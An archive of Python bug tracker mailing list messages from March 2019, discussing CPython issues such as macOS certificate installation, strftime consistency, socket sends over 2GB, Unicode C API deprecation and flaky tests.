Message-ID: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>


New submission from Dmitrii Pasechnik <dimpase at gmail.com>:

Currently (e.g. on the released Python 2.7.16) Mac/BuildScript/resources/install_certificates.command does install certifi module from the net and symlinks its cacert.pem to provide openssl with a working certificate. The same task may be accomplished much easier, by symlinking pip's cacert.pem, as follows (just shell commands, for the purposes of demonstration)

cd local/openssl
rm -f local/openssl/cert.pem
ln -s ../lib/python2.7/site-packages/pip/_vendor/certifi/cacert.pem cert.pem 

This works as pip's cacert.pem contains the same certificate as the one provided by unvendored certifi (as can be seen by looking at it using "openssl x509 -in ..." on it).

I'd be happy to provide a PR if this is acceptable.

----------
components: macOS
messages: 338211
nosy: dimpase, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: install_certificates.command too complicated,  copy from pip's dir instead
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:28:59 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 12:28:59 +0000
Subject: [issue33875] Allow dynamic password evaluation in pypirc
 configuration file.
In-Reply-To: <1529117678.87.0.56676864532.issue33875@psf.upfronthosting.co.za>
Message-ID: <1552912139.95.0.560369632665.issue33875@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

I think there might be a need for a new function in the getpass module that fetch it from the operating system secure enclave, like KeyChain on OSX.

Currently there is no facility for storing secrets securely, the documentation of secrets says:

> Applications should not store passwords in a recoverable format, whether plain text or encrypted.

but as far as I know there is no facility to save a secret when you actually need to get it back in plaintext.

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33875>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:38:07 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 18 Mar 2019 12:38:07 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552912687.82.0.21478435966.issue36085@roundup.psfhosted.org>


?ukasz Langa <lukasz at langa.pl> added the comment:

Personally I am fine with Python 3.8 dropping Windows 7 support entirely if this makes it work better in Windows 8+. However, the 3 month overlap here would set a precedent that we don't have to adhere to self-imposed timing restrictions which is dangerous territory.

I think it's reasonable to leave Windows 7 support but *require* KB2533625 to be in. We've done similar things before on other platforms.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:40:51 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 18 Mar 2019 12:40:51 +0000
Subject: [issue12622] failfast argument to TextTestRunner not documented
In-Reply-To: <1311448108.9.0.673600380151.issue12622@psf.upfronthosting.co.za>
Message-ID: <1552912851.5.0.254923735722.issue12622@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I agree with @xtreak.  Closing this as a duplicate.

----------
nosy: +cheryl.sabella
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Wrong signature of TextTestRunner's init function

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12622>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:42:51 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 18 Mar 2019 12:42:51 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552912971.03.0.782555863231.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

For this one you're probably waiting on me to get time. I try to find an hour or two each week, depending on what releases are going on, but it can be a little unpredictable.

Zachary could also review and merge if he gets time first. I don't think anyone else is likely to look at this.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:45:42 2019
From: report at bugs.python.org (Michael Saah)
Date: Mon, 18 Mar 2019 12:45:42 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1552910266.77.0.360373810079.issue35066@roundup.psfhosted.org>
Message-ID: <CAAGJmtTBgz09yvdFqvA_Jz9exnucFvhOiqp25=ebLT2LZw9M_Q@mail.gmail.com>


Michael Saah <mike.saah at gmail.com> added the comment:

While I agree with Victor that reworking time.strftime to be more portable
is a great idea, this issue was never about that; it was about making
exception throwing behavior consistent across datetime's two strftime
implementations (python and C), and also bringing them into line with what
time.strftime does.

Xavier's bug shows that my test methodology didn't take into account the
range of libc strftime behavior. The patch proposed makes sense to me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:46:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 12:46:33 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552913193.64.0.977915377894.issue36333@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12361

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:11:50 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 18 Mar 2019 13:11:50 +0000
Subject: [issue27432] Unittest truncating of error message not works
In-Reply-To: <1467365269.89.0.517880663648.issue27432@psf.upfronthosting.co.za>
Message-ID: <1552914710.47.0.64493346765.issue27432@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

This one is a little more complicated, but I'm going to assign to @Mariatta for the sprints.

----------
assignee:  -> Mariatta
nosy: +Mariatta, cheryl.sabella
stage:  -> needs patch
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27432>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:25:09 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 13:25:09 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552915509.33.0.951005226818.issue36307@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

https://travis-ci.org/python/cpython/jobs/507821992
"pyenv: python3.7: command not found"

Hmm, `dist: xenial; group beta` seems not stable yet.
I'll try removing "group: beta" for stable build.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:25:29 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Mon, 18 Mar 2019 13:25:29 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1540478010.12.0.788709270274.issue35066@psf.upfronthosting.co.za>
Message-ID: <1552915529.99.0.182905643926.issue35066@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

I think the proposed change to the test will work, or we can mark the test as an expected failure on Android (on the theory that the test *should* work because we want the behavior normalized, but we are not living up to that).

In either case, I think a separate issue for normalizing the behavior of `strftime` across platforms would be good. I agree with Victor that the inconsistencies in libc are not a great experience for our users.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:27:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 13:27:22 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1540478010.12.0.788709270274.issue35066@psf.upfronthosting.co.za>
Message-ID: <1552915642.69.0.161872847253.issue35066@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> or we can mark the test as an expected failure on Android

No please, don't do that :-(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:28:17 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 18 Mar 2019 13:28:17 +0000
Subject: [issue36327] Remove EOLed Py34 from "Status of Python branches"
In-Reply-To: <1552834426.21.0.72238975198.issue36327@roundup.psfhosted.org>
Message-ID: <1552915697.48.0.695463893646.issue36327@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

Python 3.4.10 has not been released yet, and so it hasn't reached EOL yet, so this is jumping the gun a little.  All things in time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36327>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:34:40 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Mon, 18 Mar 2019 13:34:40 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1540478010.12.0.788709270274.issue35066@psf.upfronthosting.co.za>
Message-ID: <1552916080.02.0.460756116784.issue35066@roundup.psfhosted.org>


Paul Ganssle <p.ganssle at gmail.com> added the comment:

> No please, don't do that :-(

Interesting, I don't feel terribly strongly about it, but I would have thought that you'd be more in favor of that solution, maybe we have a different definition of "expected failure"?

Usually in my projects, I use xfail if I have *tests* for a bug, but no fix for it yet. The xfail-ing test serves two purposes: 1. it notifies me if the bug is incidentally fixed (so that I can remove the xfail and it becomes a regression test, and I close the bug report) and 2. it allows me to encode acceptance criteria for fixing the bug directly into the test suite.

I do personally like the idea of separate tests for "is this consistent across platforms" and "does this throw an error", but it is true that once it's possible to pass the consistency test it *also* serves as a test that no errors are thrown.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:51:58 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Mar 2019 13:51:58 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552917118.77.0.212816979378.issue36332@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 0c9258a6d299e0484538ef8d4b23f30515283db2 by Pablo Galindo in branch 'master':
bpo-36332: Allow compile() to handle AST objects with assignment expressions (GH-12398)
https://github.com/python/cpython/commit/0c9258a6d299e0484538ef8d4b23f30515283db2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:52:11 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Mar 2019 13:52:11 +0000
Subject: [issue36332] compile() error on AST object with assignment expression
In-Reply-To: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>
Message-ID: <1552917131.75.0.0196485732601.issue36332@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:57:39 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 13:57:39 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
Message-ID: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

The Makefile of Doc/ has a `serve` target. Currently, this one uses `Tools/scripts/serve.py`. But since 3.7, this script could be replaced by `python -m http.server -d directory`.

@mdk and myself thinking we could deprecate `Tools/scripts/serve.py` with a warning and propose to use `-m http.server -d directory`

----------
assignee: docs at python
components: Documentation
messages: 338224
nosy: docs at python, matrixise
priority: normal
severity: normal
status: open
title: Deprecate Tools/scripts/serve.py in favour of python -m http.server -d
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:00:38 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 14:00:38 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1552917638.69.0.448932959529.issue36345@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
nosy: +mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:03:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 14:03:41 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552917821.1.0.923094414387.issue36337@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

@kmiku7: Did you find this issue in production or while testing Python? Or did you spot the idea while reading Python source code?

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:05:21 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 14:05:21 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552917921.24.0.883393332551.issue36337@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Because I am not familiar about how to contribute a patch, I doubt it's reasonable to write a test which will consuming more than 2GB memory space? Because if write a test to cover this case, we will build a string larger than 2GB, and use socket to send it. Dose the machine running tests have enough memory resource?

Most computers have at least 4 GB of memory. It would be possible to write a "bigmem" test which build a string longer than 2 GiB, send it and check the received length, but I'm not sure that it's worth it: there is no such test in the master branch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:14:45 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 14:14:45 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1552918485.9.0.665221831948.issue36345@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12362
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:22:46 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Mon, 18 Mar 2019 14:22:46 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552918966.68.0.207185118381.issue36272@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:


New changeset 6a7a9f1d83cef628d2bacd71ee568b93f53fd6b4 by Vinay Sajip (Miss Islington (bot)) in branch '3.7':
bpo-36272: Logging now propagates RecursionError (GH-12312) (GH-12391)
https://github.com/python/cpython/commit/6a7a9f1d83cef628d2bacd71ee568b93f53fd6b4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:23:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 14:23:01 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
Message-ID: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The legacy Unicode C API was deprecated in 3.3. Its support consumes resources: more memory usage by Unicode objects, additional code for handling Unicode objects created with the legacy C API. Currently every Unicode object has a cache for the wchar_t representation.

The proposed PR adds two compile time options: HAVE_UNICODE_WCHAR_CACHE and USE_UNICODE_WCHAR_CACHE. Both are set to 1 by default.

If USE_UNICODE_WCHAR_CACHE is set to 0, CPython will not use the wchar_t cache internally. The new wchar_t based C API will be used instead of the Py_UNICODE based C API. This can add small performance penalty for creating a temporary buffer for the wchar_t representation. On other hand, this will decrease the long-term memory usage. This build is binary compatible with the standard build and third-party extensions can use the legacy Unicode C API.

If HAVE_UNICODE_WCHAR_CACHE is set to 0, the wchar_t cache will be completely removed. The legacy Unicode C API will be not available, and functions that need it (e.g. PyArg_ParseTuple() with the "u" format unit) will always fail. This build is binary incompatible with the standard build if you use the legacy or non-stable Unicode C API.

I hope that these options will help third-party projects to prepare for removing the legacy Unicode C API in future.

----------
components: Interpreter Core, Unicode
messages: 338228
nosy: ezio.melotti, inada.naoki, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Prepare for removing the legacy Unicode C API
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:26:24 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Mon, 18 Mar 2019 14:26:24 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552919184.46.0.0740389727499.issue36272@roundup.psfhosted.org>


Change by Vinay Sajip <vinay_sajip at yahoo.co.uk>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:26:39 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Mon, 18 Mar 2019 14:26:39 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552919199.87.0.258685680805.issue36235@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

STINNER Victor: Thank you very much for that much better fix! I've tested it on Arch Linux. With that patch, test_distutils passes as usual. The pull request looks good, too. Just a question: I think it should be backported to 3.7 and 2.7 branches like https://github.com/python/cpython/pull/12236?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:27:35 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 14:27:35 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552919255.86.0.0745937274759.issue36346@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12363
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:32:16 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 14:32:16 +0000
Subject: [issue36211] show full url when execute "make -C Doc/ serve"
In-Reply-To: <1551878118.81.0.0860546810441.issue36211@roundup.psfhosted.org>
Message-ID: <1552919536.63.0.367872760213.issue36211@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed
superseder:  -> Deprecate Tools/scripts/serve.py in favour of python -m http.server -d

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36211>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:34:10 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 18 Mar 2019 14:34:10 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1552919650.65.0.786417443298.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

I'd like to move forward with this in order to fix issue17561. If there are no complaints I'm gonna merge this in ~ a week.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:36:08 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Mon, 18 Mar 2019 14:36:08 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552919768.82.0.992546384473.issue36318@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:

> Actually people do this all the time, to deactivate the logging of some third-party libraries (me included).

It would be better to set the level of those loggers to e.g. ERROR or CRITICAL rather than disabling them altogether - presumably if something bad happens in those packages, one would want to know!

> In addition, all public attributes ... can be set from `logging.config.dictConfig`, except the `disabled` attribute, which is inconsistent.

I don't especially want people to use `disabled` for this type of thing - the main reason for having it is that following an on-the-fly reconfiguration in a long-running process, some threads might still be active that contain references to now-unwanted loggers, and disabling makes those references inactive without the need to track them down. I would recommend using e.g. CRITICAL as a level for the use case you mention.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:42:30 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 14:42:30 +0000
Subject: [issue36347] Add the constant READWRITE for PyMemberDef
Message-ID: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

When we define some members with PyMemberDef, we have to specify the flag for read-write or read-only. 

static PyMemberDef members[] = {
    {"name", T_OBJECT, offsetof(MyObject, name), 0, "Name object"},
    {NULL}  // Sentinel
};

For a newcomer, when you read the doc, you don't know the meaning of `0` and you want to know, of course you read the code and sometimes you can find READONLY or `0`.

I would like to add a new constant for `0` and name it `READWRITE`.

static PyMemberDef members[] = {
    {"name", T_OBJECT, offsetof(MyObject, name), READWRITE, "Name object"},
    {NULL}  // Sentinel
};

----------
components: Interpreter Core
messages: 338232
nosy: matrixise
priority: normal
severity: normal
status: open
title: Add the constant READWRITE for PyMemberDef
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:45:59 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 14:45:59 +0000
Subject: [issue36347] Add the constant READWRITE for PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1552920359.63.0.985858056167.issue36347@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12364
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:57:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 14:57:13 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
Message-ID: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/21/builds/2512

======================================================================
FAIL: test_logout (test.test_imaplib.RemoteIMAP_STARTTLSTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z/build/Lib/test/test_imaplib.py", line 946, in test_logout
    self.assertEqual(rs[0], 'BYE')
AssertionError: 'NO' != 'BYE'
- NO
+ BYE


The logout() returns 'NO' if *any* exception is raised:

        try: typ, dat = self._simple_command('LOGOUT')
        except: typ, dat = 'NO', ['%s: %s' % sys.exc_info()[:2]]

Attached PR proposes a fix.

----------
components: Library (Lib)
messages: 338233
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails randomly
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:03:59 2019
From: report at bugs.python.org (Farbod Safe)
Date: Mon, 18 Mar 2019 15:03:59 +0000
Subject: [issue36349] Including parentheses in a regular expression pattern
 enclosed by literal square bracket characters cause the square brackets not
 to be matched
Message-ID: <1552921439.06.0.146720429556.issue36349@roundup.psfhosted.org>


New submission from Farbod Safe <farbod.safe at gmail.com>:

Below two print statements should give the same results but they don't:

import re

s = '[a]'

print(*re.findall(r'\[.*]',s))
[a]

print(*re.findall(r'\[(.*)]',s))
a

----------
messages: 338234
nosy: Farbod Safe2
priority: normal
severity: normal
status: open
title: Including parentheses in a regular expression pattern enclosed by literal square bracket characters cause the square brackets not to be matched
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36349>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:06:20 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 15:06:20 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
In-Reply-To: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>
Message-ID: <1552921580.56.0.481624910252.issue36348@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Seems it used to fail randomly in past too : issue30648

----------
components: +email
nosy: +barry, r.david.murray, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:07:15 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 15:07:15 +0000
Subject: [issue36349] Including parentheses in a regular expression pattern
 enclosed by literal square bracket characters cause the square brackets not
 to be matched
In-Reply-To: <1552921439.06.0.146720429556.issue36349@roundup.psfhosted.org>
Message-ID: <1552921635.6.0.164443978677.issue36349@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

3.6 is in security mode and not in bugfix mode.

Please, use 3.7.

----------
nosy: +matrixise
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36349>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:07:34 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 15:07:34 +0000
Subject: [issue36349] Including parentheses in a regular expression pattern
 enclosed by literal square bracket characters cause the square brackets not
 to be matched
In-Reply-To: <1552921439.06.0.146720429556.issue36349@roundup.psfhosted.org>
Message-ID: <1552921654.06.0.818432170282.issue36349@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Python 3.7.2 (default, Jan 16 2019, 19:49:22) 
[GCC 8.2.1 20181215 (Red Hat 8.2.1-6)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import re
>>> s = '[a]'
>>> print(*re.findall(r'\[.*]', s))
[a]
>>> print(*re.findall(r'\[.*]', s))
[a]
>>>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36349>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:14:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 15:14:51 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
In-Reply-To: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>
Message-ID: <1552922091.18.0.0513753767652.issue36348@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12365
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:16:48 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 15:16:48 +0000
Subject: [issue36350] inspect.Signature.parameters and
 inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
Message-ID: <1552922208.92.0.691129185173.issue36350@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

Python 3.7.2 (default, Feb 12 2019, 08:15:36) 
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import inspect
>>> inspect.Signature().parameters
mappingproxy(OrderedDict())
>>> def foo(a): pass
... 
>>> ba = inspect.signature(foo).bind(1)
>>> ba.arguments
OrderedDict([('a', 1)])

----------
components: Library (Lib)
messages: 338238
nosy: remi.lapeyre
priority: normal
